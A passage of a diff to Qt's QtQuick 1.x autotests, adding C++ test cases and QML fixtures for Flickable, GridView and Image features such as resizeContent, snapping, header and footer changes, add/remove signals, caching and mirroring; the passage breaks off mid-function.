@@ -239,6 +247,34 @@ void tst_qdeclarativeflickable::pressDelay()
QCOMPARE(spy.count(),1);
}
+// QTBUG-17361
+void tst_qdeclarativeflickable::nestedPressDelay()
+{
+ QDeclarativeView *canvas = new QDeclarativeView;
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/nestedPressDelay.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeFlickable *outer = qobject_cast<QDeclarativeFlickable*>(canvas->rootObject());
+ QVERIFY(outer != 0);
+
+ QDeclarativeFlickable *inner = canvas->rootObject()->findChild<QDeclarativeFlickable*>("innerFlickable");
+ QVERIFY(inner != 0);
+
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(150, 150)));
+ // the MouseArea is not pressed immediately
+ QVERIFY(outer->property("pressed").toBool() == false);
+
+ // The outer pressDelay will prevail (50ms, vs. 10sec)
+ QTest::qWait(300);
+ QVERIFY(outer->property("pressed").toBool() == true);
+
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(150, 150)));
+
+ delete canvas;
+}
+
void tst_qdeclarativeflickable::flickableDirection()
{
QDeclarativeComponent component(&engine);
@@ -277,6 +313,135 @@ void tst_qdeclarativeflickable::qgraphicswidget()
QVERIFY(widget);
}
+// QtQuick 1.1
+void tst_qdeclarativeflickable::resizeContent()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/resize.qml"));
+ QDeclarativeItem *root = qobject_cast<QDeclarativeItem*>(c.create());
+ QDeclarativeFlickable *obj = findItem<QDeclarativeFlickable>(root, "flick");
+
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->contentX(), 0.);
+ QCOMPARE(obj->contentY(), 0.);
+ QCOMPARE(obj->contentWidth(), 300.);
+ QCOMPARE(obj->contentHeight(), 300.);
+
+ QMetaObject::invokeMethod(root, "resizeContent");
+
+ QCOMPARE(obj->contentX(), 100.);
+ QCOMPARE(obj->contentY(), 100.);
+ QCOMPARE(obj->contentWidth(), 600.);
+ QCOMPARE(obj->contentHeight(), 600.);
+
+ delete root;
+}
+
+// QtQuick 1.1
+void tst_qdeclarativeflickable::returnToBounds()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/resize.qml"));
+ QDeclarativeItem *root = qobject_cast<QDeclarativeItem*>(c.create());
+ QDeclarativeFlickable *obj = findItem<QDeclarativeFlickable>(root, "flick");
+
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->contentX(), 0.);
+ QCOMPARE(obj->contentY(), 0.);
+ QCOMPARE(obj->contentWidth(), 300.);
+ QCOMPARE(obj->contentHeight(), 300.);
+
+ obj->setContentX(100);
+ obj->setContentY(400);
+ QTRY_COMPARE(obj->contentX(), 100.);
+ QTRY_COMPARE(obj->contentY(), 400.);
+
+ QMetaObject::invokeMethod(root, "returnToBounds");
+
+ QTRY_COMPARE(obj->contentX(), 0.);
+ QTRY_COMPARE(obj->contentY(), 0.);
+
+ delete root;
+}
+
+void tst_qdeclarativeflickable::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; Flickable { " + code.toUtf8() + " }", QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; Flickable { " + code.toUtf8() + " }", QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+}
+
+void tst_qdeclarativeflickable::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("resizeContent") << "Component.onCompleted: resizeContent(100,100,Qt.point(50,50))"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: resizeContent"
+ << "";
+
+ QTest::newRow("returnToBounds") << "Component.onCompleted: returnToBounds()"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: returnToBounds"
+ << "";
+
+}
+
+void tst_qdeclarativeflickable::wheel()
+{
+ QDeclarativeView *canvas = new QDeclarativeView;
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/wheel.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeFlickable *flick = canvas->rootObject()->findChild<QDeclarativeFlickable*>("flick");
+ QVERIFY(flick != 0);
+
+ QGraphicsScene *scene = canvas->scene();
+ QGraphicsSceneWheelEvent event(QEvent::GraphicsSceneWheel);
+ event.setScenePos(QPointF(200, 200));
+ event.setDelta(-120);
+ event.setOrientation(Qt::Vertical);
+ event.setAccepted(false);
+ QApplication::sendEvent(scene, &event);
+
+ QTRY_VERIFY(flick->contentY() > 0);
+ QVERIFY(flick->contentX() == 0);
+
+ flick->setContentY(0);
+ QVERIFY(flick->contentY() == 0);
+
+ event.setScenePos(QPointF(200, 200));
+ event.setDelta(-120);
+ event.setOrientation(Qt::Horizontal);
+ event.setAccepted(false);
+ QApplication::sendEvent(scene, &event);
+
+ QTRY_VERIFY(flick->contentX() > 0);
+ QVERIFY(flick->contentY() == 0);
+
+ delete canvas;
+}
+
+
template<typename T>
T *tst_qdeclarativeflickable::findItem(QGraphicsObject *parent, const QString &objectName)
{
diff --git a/tests/auto/declarative/qdeclarativegridview/data/attachedSignals.qml b/tests/auto/declarative/qdeclarativegridview/data/attachedSignals.qml
new file mode 100644
index 0000000..d527e9d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativegridview/data/attachedSignals.qml
@@ -0,0 +1,27 @@
+import QtQuick 1.0
+
+GridView {
+ id: view
+ width: 240; height: 320
+
+ property variant addedDelegates: []
+ property int removedDelegateCount
+
+ model: testModel
+
+ cellWidth: delegateWidth; cellHeight: delegateHeight
+
+ delegate: Rectangle {
+ width: delegateWidth; height: delegateHeight
+ border.width: 1
+ GridView.onAdd: {
+ var obj = GridView.view.addedDelegates
+ obj.push(model.name)
+ GridView.view.addedDelegates = obj
+ }
+ GridView.onRemove: {
+ view.removedDelegateCount += 1
+ }
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativegridview/data/footer.qml b/tests/auto/declarative/qdeclarativegridview/data/footer.qml
index ad69a25..b41e2ac 100644
--- a/tests/auto/declarative/qdeclarativegridview/data/footer.qml
+++ b/tests/auto/declarative/qdeclarativegridview/data/footer.qml
@@ -1,6 +1,9 @@
import QtQuick 1.0
Rectangle {
+ function changeFooter() {
+ grid.footer = footer2
+ }
width: 240
height: 320
color: "#ffffff"
@@ -29,4 +32,9 @@ Rectangle {
delegate: myDelegate
footer: Text { objectName: "footer"; text: "Footer"; height: 30 }
}
+
+ Component {
+ id: footer2
+ Text { objectName: "footer2"; text: "Footer 2"; height: 20 }
+ }
}
diff --git a/tests/auto/declarative/qdeclarativegridview/data/gridview1.qml b/tests/auto/declarative/qdeclarativegridview/data/gridview1.qml
index 77c94ba..e4e699c 100644
--- a/tests/auto/declarative/qdeclarativegridview/data/gridview1.qml
+++ b/tests/auto/declarative/qdeclarativegridview/data/gridview1.qml
@@ -2,6 +2,8 @@ import QtQuick 1.0
Rectangle {
id: root
+ property bool showHeader: false
+ property bool showFooter: false
property int added: -1
property variant removed
@@ -40,6 +42,10 @@ Rectangle {
GridView.onAdd: root.added = index
GridView.onRemove: root.removed = name
}
+ },
+ Component {
+ id: headerFooter
+ Rectangle { width: 30; height: 320; color: "blue" }
}
]
GridView {
@@ -52,5 +58,7 @@ Rectangle {
flow: (testTopToBottom == false) ? "LeftToRight" : "TopToBottom"
model: testModel
delegate: myDelegate
+ header: root.showHeader ? headerFooter : null
+ footer: root.showFooter ? headerFooter : null
}
}
diff --git a/tests/auto/declarative/qdeclarativegridview/data/header.qml b/tests/auto/declarative/qdeclarativegridview/data/header.qml
index 99baacd..f39da55 100644
--- a/tests/auto/declarative/qdeclarativegridview/data/header.qml
+++ b/tests/auto/declarative/qdeclarativegridview/data/header.qml
@@ -1,6 +1,9 @@
import QtQuick 1.0
Rectangle {
+ function changeHeader() {
+ grid.header = header2
+ }
width: 240
height: 320
color: "#ffffff"
@@ -29,4 +32,9 @@ Rectangle {
delegate: myDelegate
header: Text { objectName: "header"; text: "Header"; height: 30 }
}
+
+ Component {
+ id: header2
+ Text { objectName: "header2"; text: "Header 2"; height: 20 }
+ }
}
diff --git a/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp b/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp
index 0fac0fc..79189a7 100644
--- a/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp
+++ b/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp
@@ -78,6 +78,7 @@ private slots:
void componentChanges();
void modelChanges();
void positionViewAtIndex();
+ void snapping();
void resetModel();
void enforceRange();
void QTBUG_8456();
@@ -85,6 +86,12 @@ private slots:
void footer();
void header();
void indexAt();
+ void onAdd();
+ void onAdd_data();
+ void onRemove();
+ void onRemove_data();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
private:
QDeclarativeView *createView();
@@ -128,6 +135,13 @@ public:
emit endInsertRows();
}
+ void addItems(const QList<QPair<QString, QString> > &items) {
+ emit beginInsertRows(QModelIndex(), list.count(), list.count()+items.count()-1);
+ for (int i=0; i<items.count(); i++)
+ list.append(QPair<QString,QString>(items[i].first, items[i].second));
+ emit endInsertRows();
+ }
+
void insertItem(int index, const QString &name, const QString &number) {
emit beginInsertRows(QModelIndex(), index, index);
list.insert(index, QPair<QString,QString>(name, number));
@@ -140,6 +154,13 @@ public:
emit endRemoveRows();
}
+ void removeItems(int index, int count) {
+ emit beginRemoveRows(QModelIndex(), index, index+count-1);
+ while (count--)
+ list.removeAt(index);
+ emit endRemoveRows();
+ }
+
void moveItem(int from, int to) {
emit beginMoveRows(QModelIndex(), from, from, QModelIndex(), to);
list.move(from, to);
@@ -994,6 +1015,7 @@ void tst_QDeclarativeGridView::positionViewAtIndex()
// Position on a currently visible item
gridview->positionViewAtIndex(4, QDeclarativeGridView::Beginning);
+ QTRY_COMPARE(gridview->indexAt(120, 90), 4);
QTRY_COMPARE(gridview->contentY(), 60.);
// Confirm items positioned correctly
@@ -1008,6 +1030,7 @@ void tst_QDeclarativeGridView::positionViewAtIndex()
// Position on an item beyond the visible items
gridview->positionViewAtIndex(21, QDeclarativeGridView::Beginning);
+ QTRY_COMPARE(gridview->indexAt(40, 450), 21);
QTRY_COMPARE(gridview->contentY(), 420.);
// Confirm items positioned correctly
@@ -1022,6 +1045,7 @@ void tst_QDeclarativeGridView::positionViewAtIndex()
// Position on an item that would leave empty space if positioned at the top
gridview->positionViewAtIndex(31, QDeclarativeGridView::Beginning);
+ QTRY_COMPARE(gridview->indexAt(120, 630), 31);
QTRY_COMPARE(gridview->contentY(), 520.);
// Confirm items positioned correctly
@@ -1036,6 +1060,9 @@ void tst_QDeclarativeGridView::positionViewAtIndex()
// Position at the beginning again
gridview->positionViewAtIndex(0, QDeclarativeGridView::Beginning);
+ QTRY_COMPARE(gridview->indexAt(0, 0), 0);
+ QTRY_COMPARE(gridview->indexAt(40, 30), 0);
+ QTRY_COMPARE(gridview->indexAt(80, 60), 4);
QTRY_COMPARE(gridview->contentY(), 0.);
// Confirm items positioned correctly
@@ -1089,6 +1116,100 @@ void tst_QDeclarativeGridView::positionViewAtIndex()
gridview->positionViewAtIndex(20, QDeclarativeGridView::Contain);
QTRY_COMPARE(gridview->contentY(), 100.);
+ // Test for Top To Bottom layout
+ ctxt->setContextProperty("testTopToBottom", QVariant(true));
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount-1; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), (i/5)*80.);
+ QTRY_COMPARE(item->y(), (i%5)*60.);
+ }
+
+ // Position at End
+ gridview->positionViewAtIndex(30, QDeclarativeGridView::End);
+ QTRY_COMPARE(gridview->contentX(), 320.);
+ QTRY_COMPARE(gridview->contentY(), 0.);
+
+ // Position in Center
+ gridview->positionViewAtIndex(15, QDeclarativeGridView::Center);
+ QTRY_COMPARE(gridview->contentX(), 160.);
+
+ // Ensure at least partially visible
+ gridview->positionViewAtIndex(15, QDeclarativeGridView::Visible);
+ QTRY_COMPARE(gridview->contentX(), 160.);
+
+ gridview->setContentX(170);
+ gridview->positionViewAtIndex(25, QDeclarativeGridView::Visible);
+ QTRY_COMPARE(gridview->contentX(), 170.);
+
+ gridview->positionViewAtIndex(30, QDeclarativeGridView::Visible);
+ QTRY_COMPARE(gridview->contentX(), 320.);
+
+ gridview->setContentX(170);
+ gridview->positionViewAtIndex(25, QDeclarativeGridView::Contain);
+ QTRY_COMPARE(gridview->contentX(), 240.);
+
+ // positionViewAtBeginning
+ gridview->positionViewAtBeginning();
+ QTRY_COMPARE(gridview->contentX(), 0.);
+
+ gridview->setContentX(80);
+ canvas->rootObject()->setProperty("showHeader", true);
+ gridview->positionViewAtBeginning();
+ QTRY_COMPARE(gridview->contentX(), -30.);
+
+ // positionViewAtEnd
+ gridview->positionViewAtEnd();
+ QTRY_COMPARE(gridview->contentX(), 430.);
+
+ gridview->setContentX(80);
+ canvas->rootObject()->setProperty("showFooter", true);
+ gridview->positionViewAtEnd();
+ QTRY_COMPARE(gridview->contentX(), 460.);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeGridView::snapping()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 40; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("testTopToBottom", QVariant(false));
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml"));
+ qApp->processEvents();
+
+ QDeclarativeGridView *gridview = findItem<QDeclarativeGridView>(canvas->rootObject(), "grid");
+ QTRY_VERIFY(gridview != 0);
+
+ gridview->setHeight(220);
+ QCOMPARE(gridview->height(), 220.);
+
+ gridview->positionViewAtIndex(12, QDeclarativeGridView::Visible);
+ QCOMPARE(gridview->contentY(), 80.);
+
+ gridview->setContentY(0);
+ QCOMPARE(gridview->contentY(), 0.);
+
+ gridview->setSnapMode(QDeclarativeGridView::SnapToRow);
+ QCOMPARE(gridview->snapMode(), QDeclarativeGridView::SnapToRow);
+
+ gridview->positionViewAtIndex(12, QDeclarativeGridView::Visible);
+ QCOMPARE(gridview->contentY(), 60.);
+
+ gridview->positionViewAtIndex(15, QDeclarativeGridView::End);
+ QCOMPARE(gridview->contentY(), 120.);
+
delete canvas;
}
@@ -1232,6 +1353,15 @@ void tst_QDeclarativeGridView::manualHighlight()
QTRY_COMPARE(gridview->currentItem(), findItem<QDeclarativeItem>(contentItem, "wrapper", 2));
QTRY_COMPARE(gridview->highlightItem()->y() - 5, gridview->currentItem()->y());
QTRY_COMPARE(gridview->highlightItem()->x() - 5, gridview->currentItem()->x());
+
+ gridview->setFlow(QDeclarativeGridView::TopToBottom);
+ QTRY_COMPARE(gridview->flow(), QDeclarativeGridView::TopToBottom);
+
+ gridview->setCurrentIndex(0);
+ QTRY_COMPARE(gridview->currentIndex(), 0);
+ QTRY_COMPARE(gridview->currentItem(), findItem<QDeclarativeItem>(contentItem, "wrapper", 0));
+ QTRY_COMPARE(gridview->highlightItem()->y() - 5, gridview->currentItem()->y());
+ QTRY_COMPARE(gridview->highlightItem()->x() - 5, gridview->currentItem()->x());
}
void tst_QDeclarativeGridView::footer()
@@ -1258,12 +1388,27 @@ void tst_QDeclarativeGridView::footer()
QVERIFY(footer);
QCOMPARE(footer->y(), 180.0);
+ QCOMPARE(footer->height(), 30.0);
model.removeItem(2);
QTRY_COMPARE(footer->y(), 120.0);
model.clear();
QTRY_COMPARE(footer->y(), 0.0);
+
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QMetaObject::invokeMethod(canvas->rootObject(), "changeFooter");
+
+ footer = findItem<QDeclarativeText>(contentItem, "footer");
+ QVERIFY(!footer);
+ footer = findItem<QDeclarativeText>(contentItem, "footer2");
+ QVERIFY(footer);
+
+ QCOMPARE(footer->y(), 600.0);
+ QCOMPARE(footer->height(), 20.0);
+ QCOMPARE(gridview->contentY(), 0.0);
}
void tst_QDeclarativeGridView::header()
@@ -1290,6 +1435,7 @@ void tst_QDeclarativeGridView::header()
QVERIFY(header);
QCOMPARE(header->y(), 0.0);
+ QCOMPARE(header->height(), 30.0);
QCOMPARE(gridview->contentY(), 0.0);
QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", 0);
@@ -1298,6 +1444,20 @@ void tst_QDeclarativeGridView::header()
model.clear();
QTRY_COMPARE(header->y(), 0.0);
+
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QMetaObject::invokeMethod(canvas->rootObject(), "changeHeader");
+
+ header = findItem<QDeclarativeText>(contentItem, "header");
+ QVERIFY(!header);
+ header = findItem<QDeclarativeText>(contentItem, "header2");
+ QVERIFY(header);
+
+ QCOMPARE(header->y(), 10.0);
+ QCOMPARE(header->height(), 20.0);
+ QCOMPARE(gridview->contentY(), 10.0);
}
void tst_QDeclarativeGridView::indexAt()
@@ -1337,6 +1497,156 @@ void tst_QDeclarativeGridView::indexAt()
delete canvas;
}
+void tst_QDeclarativeGridView::onAdd()
+{
+ QFETCH(int, initialItemCount);
+ QFETCH(int, itemsToAdd);
+
+ const int delegateWidth = 50;
+ const int delegateHeight = 100;
+ TestModel model;
+ QDeclarativeView *canvas = createView();
+ canvas->setFixedSize(5 * delegateWidth, 5 * delegateHeight); // just ensure all items fit
+
+ // these initial items should not trigger GridView.onAdd
+ for (int i=0; i<initialItemCount; i++)
+ model.addItem("dummy value", "dummy value");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("delegateWidth", delegateWidth);
+ ctxt->setContextProperty("delegateHeight", delegateHeight);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/attachedSignals.qml"));
+
+ QObject *object = canvas->rootObject();
+ object->setProperty("width", canvas->width());
+ object->setProperty("height", canvas->height());
+ qApp->processEvents();
+
+ QList<QPair<QString, QString> > items;
+ for (int i=0; i<itemsToAdd; i++)
+ items << qMakePair(QString("value %1").arg(i), QString::number(i));
+ model.addItems(items);
+
+ qApp->processEvents();
+
+ QVariantList result = object->property("addedDelegates").toList();
+ QCOMPARE(result.count(), items.count());
+ for (int i=0; i<items.count(); i++)
+ QCOMPARE(result[i].toString(), items[i].first);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeGridView::onAdd_data()
+{
+ QTest::addColumn<int>("initialItemCount");
+ QTest::addColumn<int>("itemsToAdd");
+
+ QTest::newRow("0, add 1") << 0 << 1;
+ QTest::newRow("0, add 2") << 0 << 2;
+ QTest::newRow("0, add 10") << 0 << 10;
+
+ QTest::newRow("1, add 1") << 1 << 1;
+ QTest::newRow("1, add 2") << 1 << 2;
+ QTest::newRow("1, add 10") << 1 << 10;
+
+ QTest::newRow("5, add 1") << 5 << 1;
+ QTest::newRow("5, add 2") << 5 << 2;
+ QTest::newRow("5, add 10") << 5 << 10;
+}
+
+void tst_QDeclarativeGridView::onRemove()
+{
+ QFETCH(int, initialItemCount);
+ QFETCH(int, indexToRemove);
+ QFETCH(int, removeCount);
+
+ const int delegateWidth = 50;
+ const int delegateHeight = 100;
+ TestModel model;
+ for (int i=0; i<initialItemCount; i++)
+ model.addItem(QString("value %1").arg(i), "dummy value");
+
+ QDeclarativeView *canvas = createView();
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("delegateWidth", delegateWidth);
+ ctxt->setContextProperty("delegateHeight", delegateHeight);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/attachedSignals.qml"));
+ QObject *object = canvas->rootObject();
+
+ qApp->processEvents();
+
+ model.removeItems(indexToRemove, removeCount);
+ qApp->processEvents();
+ QCOMPARE(object->property("removedDelegateCount"), QVariant(removeCount));
+
+ delete canvas;
+}
+
+void tst_QDeclarativeGridView::onRemove_data()
+{
+ QTest::addColumn<int>("initialItemCount");
+ QTest::addColumn<int>("indexToRemove");
+ QTest::addColumn<int>("removeCount");
+
+ QTest::newRow("remove first") << 1 << 0 << 1;
+ QTest::newRow("two items, remove first") << 2 << 0 << 1;
+ QTest::newRow("two items, remove last") << 2 << 1 << 1;
+ QTest::newRow("two items, remove all") << 2 << 0 << 2;
+
+ QTest::newRow("four items, remove first") << 4 << 0 << 1;
+ QTest::newRow("four items, remove 0-2") << 4 << 0 << 2;
+ QTest::newRow("four items, remove 1-3") << 4 << 1 << 2;
+ QTest::newRow("four items, remove 2-4") << 4 << 2 << 2;
+ QTest::newRow("four items, remove last") << 4 << 3 << 1;
+ QTest::newRow("four items, remove all") << 4 << 0 << 4;
+
+ QTest::newRow("ten items, remove 1-8") << 10 << 0 << 8;
+ QTest::newRow("ten items, remove 2-7") << 10 << 2 << 5;
+ QTest::newRow("ten items, remove 4-10") << 10 << 4 << 6;
+}
+
+void tst_QDeclarativeGridView::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; GridView { " + code.toUtf8() + " }", QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; GridView { " + code.toUtf8() + " }", QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+}
+
+void tst_QDeclarativeGridView::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("positionViewAtBeginning") << "Component.onCompleted: positionViewAtBeginning()"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: positionViewAtBeginning"
+ << "";
+
+ QTest::newRow("positionViewAtEnd") << "Component.onCompleted: positionViewAtEnd()"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: positionViewAtEnd"
+ << "";
+}
+
QDeclarativeView *tst_QDeclarativeGridView::createView()
{
QDeclarativeView *canvas = new QDeclarativeView(0);
diff --git a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp
index ddecf7e..f1fe2bd 100644
--- a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp
+++ b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp
@@ -79,6 +79,8 @@ private slots:
void resized();
void preserveAspectRatio();
void smooth();
+ void mirror();
+ void mirror_data();
void svg();
void geometry();
void geometry_data();
@@ -88,6 +90,8 @@ private slots:
void paintedWidthHeight();
void sourceSize_QTBUG_14303();
void nullPixmapPaint();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
private:
template<typename T>
@@ -124,19 +128,21 @@ void tst_qdeclarativeimage::imageSource_data()
QTest::addColumn<double>("height");
QTest::addColumn<bool>("remote");
QTest::addColumn<bool>("async");
+ QTest::addColumn<bool>("cache");
QTest::addColumn<QString>("error");
- QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() << 120.0 << 120.0 << false << false << "";
- QTest::newRow("local async") << QUrl::fromLocalFile(SRCDIR "/data/colors1.png").toString() << 120.0 << 120.0 << false << true << "";
+ QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() << 120.0 << 120.0 << false << false << true << "";
+ QTest::newRow("local no cache") << QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() << 120.0 << 120.0 << false << false << false << "";
+ QTest::newRow("local async") << QUrl::fromLocalFile(SRCDIR "/data/colors1.png").toString() << 120.0 << 120.0 << false << true << true << "";
QTest::newRow("local not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString() << 0.0 << 0.0 << false
- << false << "file::2:1: QML Image: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString();
+ << false << true << "file::2:1: QML Image: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString();
QTest::newRow("local async not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file-1.png").toString() << 0.0 << 0.0 << false
- << true << "file::2:1: QML Image: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file-1.png").toString();
- QTest::newRow("remote") << SERVER_ADDR "/colors.png" << 120.0 << 120.0 << true << false << "";
- QTest::newRow("remote redirected") << SERVER_ADDR "/oldcolors.png" << 120.0 << 120.0 << true << false << "";
- QTest::newRow("remote svg") << SERVER_ADDR "/heart.svg" << 550.0 << 500.0 << true << false << "";
+ << true << true << "file::2:1: QML Image: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file-1.png").toString();
+ QTest::newRow("remote") << SERVER_ADDR "/colors.png" << 120.0 << 120.0 << true << false << true << "";
+ QTest::newRow("remote redirected") << SERVER_ADDR "/oldcolors.png" << 120.0 << 120.0 << true << false << false << "";
+ QTest::newRow("remote svg") << SERVER_ADDR "/heart.svg" << 550.0 << 500.0 << true << false << false << "";
QTest::newRow("remote not found") << SERVER_ADDR "/no-such-file.png" << 0.0 << 0.0 << true
- << false << "file::2:1: QML Image: Error downloading " SERVER_ADDR "/no-such-file.png - server replied: Not found";
+ << false << true << "file::2:1: QML Image: Error downloading " SERVER_ADDR "/no-such-file.png - server replied: Not found";
}
@@ -147,6 +153,7 @@ void tst_qdeclarativeimage::imageSource()
QFETCH(double, height);
QFETCH(bool, remote);
QFETCH(bool, async);
+ QFETCH(bool, cache);
QFETCH(QString, error);
TestHTTPServer server(SERVER_PORT);
@@ -159,8 +166,9 @@ void tst_qdeclarativeimage::imageSource()
if (!error.isEmpty())
QTest::ignoreMessage(QtWarningMsg, error.toUtf8());
- QString componentStr = "import QtQuick 1.0\nImage { source: \"" + source + "\"; asynchronous: "
- + (async ? QLatin1String("true") : QLatin1String("false")) + " }";
+ QString componentStr = "import QtQuick 1.1\nImage { source: \"" + source + "\"; asynchronous: "
+ + (async ? QLatin1String("true") : QLatin1String("false")) + "; cache: "
+ + (cache ? QLatin1String("true") : QLatin1String("false")) + " }";
QDeclarativeComponent component(&engine);
component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
QDeclarativeImage *obj = qobject_cast<QDeclarativeImage*>(component.create());
@@ -168,6 +176,13 @@ void tst_qdeclarativeimage::imageSource()
if (async)
QVERIFY(obj->asynchronous() == true);
+ else
+ QVERIFY(obj->asynchronous() == false);
+
+ if (cache)
+ QVERIFY(obj->cache() == true);
+ else
+ QVERIFY(obj->cache() == false);
if (remote || async)
QTRY_VERIFY(obj->status() == QDeclarativeImage::Loading);
@@ -259,6 +274,90 @@ void tst_qdeclarativeimage::smooth()
delete obj;
}
+void tst_qdeclarativeimage::mirror()
+{
+ QFETCH(int, fillMode);
+
+ qreal width = 300;
+ qreal height = 250;
+
+ QString src = QUrl::fromLocalFile(SRCDIR "/data/heart200.png").toString();
+ QString componentStr = "import QtQuick 1.1\nImage { source: \"" + src + "\"; }";
+
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeImage *obj = qobject_cast<QDeclarativeImage*>(component.create());
+ QVERIFY(obj != 0);
+
+ obj->setProperty("width", width);
+ obj->setProperty("height", height);
+ obj->setFillMode((QDeclarativeImage::FillMode)fillMode);
+ obj->setProperty("mirror", true);
+
+ QGraphicsScene scene;
+ scene.addItem(qobject_cast<QGraphicsObject *>(obj));
+ QPixmap screenshot(width, height);
+ screenshot.fill();
+ QPainter p_screenshot(&screenshot);
+ scene.render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height));
+
+ QPixmap srcPixmap;
+ QVERIFY(srcPixmap.load(SRCDIR "/data/heart200.png"));
+
+ QPixmap expected(width, height);
+ expected.fill();
+ QPainter p_e(&expected);
+ QTransform transform;
+ transform.translate(width, 0).scale(-1, 1.0);
+ p_e.setTransform(transform);
+
+ switch (fillMode) {
+ case QDeclarativeImage::Stretch:
+ p_e.drawPixmap(QRect(0, 0, width, height), srcPixmap, QRect(0, 0, srcPixmap.width(), srcPixmap.height()));
+ break;
+ case QDeclarativeImage::PreserveAspectFit:
+ p_e.drawPixmap(QRect(25, 0, width / (width/height), height), srcPixmap, QRect(0, 0, srcPixmap.width(), srcPixmap.height()));
+ break;
+ case QDeclarativeImage::PreserveAspectCrop:
+ {
+ qreal ratio = width/srcPixmap.width(); // width is the longer side
